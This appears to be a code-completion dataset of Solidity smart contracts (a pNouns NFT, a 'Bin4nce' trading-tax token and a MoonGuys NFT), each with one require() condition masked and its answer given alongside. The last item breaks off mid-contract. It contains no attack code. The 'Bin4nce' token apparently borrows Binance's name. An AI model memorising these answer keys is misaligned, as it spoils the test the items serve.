"Invalid purchaseUnit" | // SPDX-License-Identifier: MIT
/*
* Created by Eiba (@eiba8884)
*/
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./pNounsContractFilter.sol";
contract pNounsToken is pNounsContractFilter {
using Strings for uint256;
enum SalePhase {
Locked,
PreSale,
PublicSale
}
SalePhase public phase = SalePhase.Locked; // セールフェーズ
uint256 public purchaseUnit = 5; // 購入単位
bytes32 public merkleRoot; // プレセールのマークルルート
address public constant treasuryAddress = 0x8AE80e0B44205904bE18869240c2eC62D2342785; // トレジャリーウォレット
uint256 public maxMintPerAddress = 100; // 1人当たりの最大ミント数
uint256 constant mintForTreasuryAddress = 100; // トレジャリーへの初回配布数
mapping(address => uint256) public mintCount; // アドレスごとのミント数
constructor(
IAssetProvider _assetProvider,
address[] memory _administrators
)
pNounsContractFilter(
_assetProvider,
"pNouns NFT",
"pNouns",
_administrators
)
{
}
function adminMint(address[] memory _to, uint256[] memory _num)
public
onlyAdminOrOwner
{
}
function mintPNouns(
uint256 _mintAmount, // ミント数
bytes32[] calldata _merkleProof // マークルツリー
) external payable {
// オーナーチェック
if (!hasAdminOrOwner()) {
// originチェック
require(tx.origin == msg.sender, "cannot mint from non-origin");
// セールフェイズチェック
if (phase == SalePhase.Locked) {
revert("Sale locked");
} else if (phase == SalePhase.PreSale) {
// マークルツリーが正しいこと
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verifyCalldata(_merkleProof, merkleRoot, leaf),
"Invalid Merkle Proof"
);
} else if (phase == SalePhase.PublicSale) {
// チェック不要
}
// ミント数が購入単位と一致していること,ミント数が設定されていること
require(<FILL_ME>)
// アドレスごとのミント数上限チェック
require(
mintCount[msg.sender] + _mintAmount <= maxMintPerAddress,
"exceeds number of per address"
);
// ミント数に応じた ETHが送金されていること
uint256 cost = mintPrice * _mintAmount;
require(cost <= msg.value, "insufficient funds");
} else {
require(msg.value == 0, "owners mint price is free");
}
// 最大供給数に達していないこと
require(totalSupply() + _mintAmount <= mintLimit, "Sold out");
// ミント
// for (uint256 i; i < _mintAmount; i++) {
// _safeMint(msg.sender, nextTokenId + i);
// }
_safeMint(msg.sender, _mintAmount);
nextTokenId += _mintAmount;
// ミント数カウントアップ
mintCount[msg.sender] += _mintAmount;
}
function withdraw() external payable onlyAdminOrOwner {
}
/* treasuryAddress は non-upgradable */
// function setTreasuryAddress(address _treasury) external onlyAdminOrOwner {
// treasuryAddress = _treasury;
// }
function setPhase(SalePhase _phase, uint256 _purchaseUnit)
external
onlyAdminOrOwner
{
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyAdminOrOwner {
}
function setMaxMintPerAddress(uint256 _maxMintPerAddress)
external
onlyAdminOrOwner
{
}
function mint() public payable override returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenName(uint256 _tokenId)
internal
view
virtual
override
returns (string memory)
{
}
// 10% royalties for treasuryAddressß
function _processRoyalty(uint256 _salesPrice, uint256)
internal
virtual
override
returns (uint256 royalty)
{
}
}
| _mintAmount%purchaseUnit==0&&_mintAmount>0,"Invalid purchaseUnit" | 85,914 | _mintAmount%purchaseUnit==0&&_mintAmount>0 |
"exceeds number of per address" | // SPDX-License-Identifier: MIT
/*
* Created by Eiba (@eiba8884)
*/
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./pNounsContractFilter.sol";
contract pNounsToken is pNounsContractFilter {
using Strings for uint256;
enum SalePhase {
Locked,
PreSale,
PublicSale
}
SalePhase public phase = SalePhase.Locked; // セールフェーズ
uint256 public purchaseUnit = 5; // 購入単位
bytes32 public merkleRoot; // プレセールのマークルルート
address public constant treasuryAddress = 0x8AE80e0B44205904bE18869240c2eC62D2342785; // トレジャリーウォレット
uint256 public maxMintPerAddress = 100; // 1人当たりの最大ミント数
uint256 constant mintForTreasuryAddress = 100; // トレジャリーへの初回配布数
mapping(address => uint256) public mintCount; // アドレスごとのミント数
constructor(
IAssetProvider _assetProvider,
address[] memory _administrators
)
pNounsContractFilter(
_assetProvider,
"pNouns NFT",
"pNouns",
_administrators
)
{
}
function adminMint(address[] memory _to, uint256[] memory _num)
public
onlyAdminOrOwner
{
}
function mintPNouns(
uint256 _mintAmount, // ミント数
bytes32[] calldata _merkleProof // マークルツリー
) external payable {
// オーナーチェック
if (!hasAdminOrOwner()) {
// originチェック
require(tx.origin == msg.sender, "cannot mint from non-origin");
// セールフェイズチェック
if (phase == SalePhase.Locked) {
revert("Sale locked");
} else if (phase == SalePhase.PreSale) {
// マークルツリーが正しいこと
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verifyCalldata(_merkleProof, merkleRoot, leaf),
"Invalid Merkle Proof"
);
} else if (phase == SalePhase.PublicSale) {
// チェック不要
}
// ミント数が購入単位と一致していること,ミント数が設定されていること
require(
_mintAmount % purchaseUnit == 0 && _mintAmount > 0,
"Invalid purchaseUnit"
);
// アドレスごとのミント数上限チェック
require(<FILL_ME>)
// ミント数に応じた ETHが送金されていること
uint256 cost = mintPrice * _mintAmount;
require(cost <= msg.value, "insufficient funds");
} else {
require(msg.value == 0, "owners mint price is free");
}
// 最大供給数に達していないこと
require(totalSupply() + _mintAmount <= mintLimit, "Sold out");
// ミント
// for (uint256 i; i < _mintAmount; i++) {
// _safeMint(msg.sender, nextTokenId + i);
// }
_safeMint(msg.sender, _mintAmount);
nextTokenId += _mintAmount;
// ミント数カウントアップ
mintCount[msg.sender] += _mintAmount;
}
function withdraw() external payable onlyAdminOrOwner {
}
/* treasuryAddress は non-upgradable */
// function setTreasuryAddress(address _treasury) external onlyAdminOrOwner {
// treasuryAddress = _treasury;
// }
function setPhase(SalePhase _phase, uint256 _purchaseUnit)
external
onlyAdminOrOwner
{
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyAdminOrOwner {
}
function setMaxMintPerAddress(uint256 _maxMintPerAddress)
external
onlyAdminOrOwner
{
}
function mint() public payable override returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenName(uint256 _tokenId)
internal
view
virtual
override
returns (string memory)
{
}
// 10% royalties for treasuryAddressß
function _processRoyalty(uint256 _salesPrice, uint256)
internal
virtual
override
returns (uint256 royalty)
{
}
}
| mintCount[msg.sender]+_mintAmount<=maxMintPerAddress,"exceeds number of per address" | 85,914 | mintCount[msg.sender]+_mintAmount<=maxMintPerAddress |
"Sold out" | // SPDX-License-Identifier: MIT
/*
* Created by Eiba (@eiba8884)
*/
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./pNounsContractFilter.sol";
contract pNounsToken is pNounsContractFilter {
using Strings for uint256;
enum SalePhase {
Locked,
PreSale,
PublicSale
}
SalePhase public phase = SalePhase.Locked; // セールフェーズ
uint256 public purchaseUnit = 5; // 購入単位
bytes32 public merkleRoot; // プレセールのマークルルート
address public constant treasuryAddress = 0x8AE80e0B44205904bE18869240c2eC62D2342785; // トレジャリーウォレット
uint256 public maxMintPerAddress = 100; // 1人当たりの最大ミント数
uint256 constant mintForTreasuryAddress = 100; // トレジャリーへの初回配布数
mapping(address => uint256) public mintCount; // アドレスごとのミント数
constructor(
IAssetProvider _assetProvider,
address[] memory _administrators
)
pNounsContractFilter(
_assetProvider,
"pNouns NFT",
"pNouns",
_administrators
)
{
}
function adminMint(address[] memory _to, uint256[] memory _num)
public
onlyAdminOrOwner
{
}
function mintPNouns(
uint256 _mintAmount, // ミント数
bytes32[] calldata _merkleProof // マークルツリー
) external payable {
// オーナーチェック
if (!hasAdminOrOwner()) {
// originチェック
require(tx.origin == msg.sender, "cannot mint from non-origin");
// セールフェイズチェック
if (phase == SalePhase.Locked) {
revert("Sale locked");
} else if (phase == SalePhase.PreSale) {
// マークルツリーが正しいこと
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verifyCalldata(_merkleProof, merkleRoot, leaf),
"Invalid Merkle Proof"
);
} else if (phase == SalePhase.PublicSale) {
// チェック不要
}
// ミント数が購入単位と一致していること,ミント数が設定されていること
require(
_mintAmount % purchaseUnit == 0 && _mintAmount > 0,
"Invalid purchaseUnit"
);
// アドレスごとのミント数上限チェック
require(
mintCount[msg.sender] + _mintAmount <= maxMintPerAddress,
"exceeds number of per address"
);
// ミント数に応じた ETHが送金されていること
uint256 cost = mintPrice * _mintAmount;
require(cost <= msg.value, "insufficient funds");
} else {
require(msg.value == 0, "owners mint price is free");
}
// 最大供給数に達していないこと
require(<FILL_ME>)
// ミント
// for (uint256 i; i < _mintAmount; i++) {
// _safeMint(msg.sender, nextTokenId + i);
// }
_safeMint(msg.sender, _mintAmount);
nextTokenId += _mintAmount;
// ミント数カウントアップ
mintCount[msg.sender] += _mintAmount;
}
function withdraw() external payable onlyAdminOrOwner {
}
/* treasuryAddress は non-upgradable */
// function setTreasuryAddress(address _treasury) external onlyAdminOrOwner {
// treasuryAddress = _treasury;
// }
function setPhase(SalePhase _phase, uint256 _purchaseUnit)
external
onlyAdminOrOwner
{
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyAdminOrOwner {
}
function setMaxMintPerAddress(uint256 _maxMintPerAddress)
external
onlyAdminOrOwner
{
}
function mint() public payable override returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenName(uint256 _tokenId)
internal
view
virtual
override
returns (string memory)
{
}
// 10% royalties for treasuryAddressß
function _processRoyalty(uint256 _salesPrice, uint256)
internal
virtual
override
returns (uint256 royalty)
{
}
}
| totalSupply()+_mintAmount<=mintLimit,"Sold out" | 85,914 | totalSupply()+_mintAmount<=mintLimit |
"Exceeds the walletMaxAmt." | /**
https://twitter.com/binance/status/1709916893031674039
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract Bin4nce is Context, Ownable, IERC20 {
using SafeMath for uint256;
string private constant _name = "Bin4nce";
string private constant _symbol = "Bin4nce";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 10 ** 9 * 10**_decimals;
uint256 private finalBuyFees=1;
uint256 private finalSellFees=1;
uint256 private preventSwapBefore=10;
uint256 private reduceBuyFeeAt=10;
uint256 private reduceSellFeeAt=10;
uint256 private initialBuyFee=10;
uint256 private initialSellFee=10;
uint256 private buyersCount=0;
uint256 initialBlock;
IUniswapRouter private uniRouter;
address private pairAddress;
bool private tradeStarted;
uint256 public minimumFee = 0 * 10**_decimals;
uint256 public swapMaxFees = 1 * 10 ** 7 * 10**_decimals;
uint256 public txMaxAmount = 25 * 10 ** 6 * 10**_decimals;
uint256 public walletMaxAmt = 25 * 10 ** 6 * 10**_decimals;
address payable private _taxAddress = payable(0x517a3Bec704359D4EBBAc18E074ea679E072A645);
bool private inSwap = false;
bool private swapEnabled = false;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
event MaxTxAmountUpdated(uint txMaxAmount);
modifier lockSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "Transfer from zero address");
require(to != address(0), "Transfer to zero address");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
taxAmount = _isExcludedFromFees[to] ? 1 : amount.mul((buyersCount>reduceBuyFeeAt)?finalBuyFees:initialBuyFee).div(100);
if (from == pairAddress && to != address(uniRouter) && ! _isExcludedFromFees[to] ) {
require(amount <= txMaxAmount, "Exceeds the txMaxAmount.");
require(<FILL_ME>)
buyersCount++;
}
if (to != pairAddress && ! _isExcludedFromFees[to]) {
require(balanceOf(to) + amount <= walletMaxAmt, "Exceeds the walletMaxAmt.");
}
if(to == pairAddress && from!= address(this) ){
taxAmount = amount.mul((buyersCount>reduceSellFeeAt)?finalSellFees:initialSellFee).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == pairAddress && swapEnabled && contractTokenBalance>minimumFee && buyersCount>preventSwapBefore && !_isExcludedFromFees[from]) {
swapTokensToETH(min(amount,min(contractTokenBalance,swapMaxFees)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
_taxAddress.transfer(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount - taxAmount);
emit Transfer(from, to, amount - taxAmount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function _approve(address owner, address spender, uint256 amount) private {
}
receive() external payable {}
function removeLimits() external onlyOwner{
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function swapTokensToETH(uint256 tokenAmount) private lockSwap {
}
function openTrading() external onlyOwner() {
}
}
| balanceOf(to)+amount<=walletMaxAmt,"Exceeds the walletMaxAmt." | 85,934 | balanceOf(to)+amount<=walletMaxAmt |
"Trade is already opened" | /**
https://twitter.com/binance/status/1709916893031674039
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract Bin4nce is Context, Ownable, IERC20 {
using SafeMath for uint256;
string private constant _name = "Bin4nce";
string private constant _symbol = "Bin4nce";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 10 ** 9 * 10**_decimals;
uint256 private finalBuyFees=1;
uint256 private finalSellFees=1;
uint256 private preventSwapBefore=10;
uint256 private reduceBuyFeeAt=10;
uint256 private reduceSellFeeAt=10;
uint256 private initialBuyFee=10;
uint256 private initialSellFee=10;
uint256 private buyersCount=0;
uint256 initialBlock;
IUniswapRouter private uniRouter;
address private pairAddress;
bool private tradeStarted;
uint256 public minimumFee = 0 * 10**_decimals;
uint256 public swapMaxFees = 1 * 10 ** 7 * 10**_decimals;
uint256 public txMaxAmount = 25 * 10 ** 6 * 10**_decimals;
uint256 public walletMaxAmt = 25 * 10 ** 6 * 10**_decimals;
address payable private _taxAddress = payable(0x517a3Bec704359D4EBBAc18E074ea679E072A645);
bool private inSwap = false;
bool private swapEnabled = false;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
event MaxTxAmountUpdated(uint txMaxAmount);
modifier lockSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function _approve(address owner, address spender, uint256 amount) private {
}
receive() external payable {}
function removeLimits() external onlyOwner{
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function swapTokensToETH(uint256 tokenAmount) private lockSwap {
}
function openTrading() external onlyOwner() {
require(<FILL_ME>)
uniRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniRouter), _totalSupply);
pairAddress = IUniswapFactory(uniRouter.factory()).createPair(address(this), uniRouter.WETH());
uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(pairAddress).approve(address(uniRouter), type(uint).max);
swapEnabled = true;
tradeStarted = true;
initialBlock = block.number;
}
}
| !tradeStarted,"Trade is already opened" | 85,934 | !tradeStarted |
"Max supply exceeded!" | //SPDX-License-Identifier: Unlicense
/*
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNNMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNSSYY YSGMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNYYYYY YGNNMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMGSSSNMNYY YYMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMSYYYSSY YGMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMSYYY YUUUUY YUMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMGYY YYY YY YMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOYYY YU SY YMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNYY YN Y GGYYYY YUMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMGYYY YG SY YYYGNMMM
MMMMMMMMMMMMMMMMMMMMMMMNGGGGGGGGGGGGGY OY YY Y MMMMMM
MMMMMMMMMMMMMMMMMMMMNUUSSSSSSSSSOOOYYSGYYY YYSSSSGN MMMMMM
MMMMMMMMMMMMMMMMMNGGSSSSSSSSSSYYYYYYYYYGGUS YYY YSMMMMMM
MMMMMMMMMMMMMNNNSSSSSSSSSSSOYYYYYYYYYYYYYYOGYY GNNNNMMMMMMMM
MMMMMMMMMMMMGSSSSSSSSSSSSSYYYYYYYYYYYYYYYYYYUUO YU GMMMMMMMMMMMM
MMMMMMMMMNGSSSSSSSSSSOSOOYYYYYYYYYYYYYYYYYYYYYSGYY YNNNNNMMMMMMMMMMMMM
MMMMMMMMMNNNNNNNNUSSSSSYYYYYYYYYYYYYYYYYYYYYYYYYUUGMMMMMMMMMMMMMMMMMMM
MMMMMMMMYYYYYYYYYUGGGSYYYYYYYYYYYYYYYYYYYYYYYYYYYUNMMMMMMMMMMMMMMMMMMM
MMMMMMNYY YYYYNNGYYYYYYYYYYYYYYOSSUNYYYYYYYUMMMMMMMMMMMMMMMMMMM
MMMMMO YYYYUUGUYYYYYYYYOSGNNGYYYYYYYYUMMMMMMMMMMMMMMMMMMM
MMMMMO YYYY YYYYYYYGSYYYYOSGNUSOYYYYYYYYYUMMMMMMMMMMMMMMMMMMM
MMMMGY YYYYSY YYYYSGUYYSNNGNGGGYYYYYYYUNMMMMMMMMMMMMMMMMMMM
MMMMY YYNYYY YYYSGUNYYYYYYYGUOYYYSNMMMMMMMMMMMMMMMMMMMM
MMMMGYYY YYMYYY YYYSMYYY YGGOONMMMMMMMMMMMMMMMMMMMMM
MMMMMSYYYYYYGOYYY YYSGYY YYMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMNUYYYYYYGUYYYY YYUGYYY YGGGGMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMSYYYYYYGYYYYY YYYYUOYY OMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMNNNYYYYYGYYYYYYYYYYYGMSYYY SMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMGYYYYYUSSSSSSSSSYNSYYY NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMNGYYYYYMMMNYYYYYYUUYY NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMNYYYYYMMMMUYYYYYUGYY NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMNYYYYYYGMMMMGYYYYUYYY NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMNYYYYYYGMMMMMNYYYYYUYY YGMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMNYYYYYYGMMMMMNYYYYNYYY SMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMNYYYYYYGMMMMMMMYYOMYYYYYSNMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMSSSSNNNNNNUGNNNGSSNNGSNNGNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMNUNNNNSYYYYYYYYYYOSSSSSSSYYYYNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMNYGUSSGGGGGGGGSSSGNNNNNGGGGGUMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMGYUGGSOOSUGUUSYYYYSSSSSSSSYYYNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMNSSSGNGGGNNGGGGYYYSGGGGYYYYYONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMYSSOSOSSUGNNGNNNNGUUSOYYYYNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMNYYGUYYYYYNGNNUSSSSSYYYYYYSYYYGMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMNYYYSNNGGUYONMNGSSSYYSGGGYYYYYYNMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMGOYSOYYYYONMMMNNNSSYYYYYYYYYYYMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMNNNNNNNNNNNMMMMMMMNNNNNNNNNUGMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMGSOOOOOOOOOSGMMMMMGSOOOOOOOOUGMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
*/
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract MoonGuysNFT is ERC721A, Ownable, ReentrancyGuard {
string public contractURI = "https://moonguys.xyz/contractmetadata.json"; //link to metadata.json for contract info
uint96 public royaltyFeesInBips = 555; //royalty fee in bases points (100 = 1% 555 = 5.55%)
address public royaltyReceiver; //address to deposit royalties
string public hiddenMetadataUri =
"ipfs://bafybeifa6sxhmmg6fkfyugkxcunj3mbed2746xgxnyuul2onlmz25davha/"; //default hidden metadata
string private baseURI; //the reveal URI to be set a later time
uint256 MAX_MINT_PER_WALLET = 2;
uint256 public cost = 0.05 ether; //mint price
uint256 public currentMaxSupply = 222; //project supply
bool public mintEnabled = false; //disable and enable the mint
bool public mintEnabledWL = true; //disable and enable the mint
mapping(address => uint256) walletsMinted;
bytes32 public merkleRoot;
constructor() ERC721A("The Moon Guys NFT", "TMG") {
}
modifier mintCompliance(uint256 _mintAmount) {
//check that there is enough supply left
require(<FILL_ME>)
_;
}
modifier WLmintEnabledCompliance() {
}
modifier mintEnabledCompliance() {
}
function WLMintMoonGuy(bytes32[] calldata _merkleProof, uint256 quantity)
external
payable
WLmintEnabledCompliance
mintCompliance(quantity)
nonReentrant
{
}
function mintMoonGuy(uint256 quantity)
external
payable
mintEnabledCompliance
mintCompliance(quantity)
nonReentrant
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCurrentMaxSupply(uint256 _supply) public onlyOwner {
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
function setRoyaltyReceiver(address _receiver) public onlyOwner {
}
function setRoyaltyBips(uint96 _royaltyFeesInBips) public onlyOwner {
}
function setMintEnable(bool _enableMint) public onlyOwner {
}
function setWLMintEnable(bool _enableMint) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
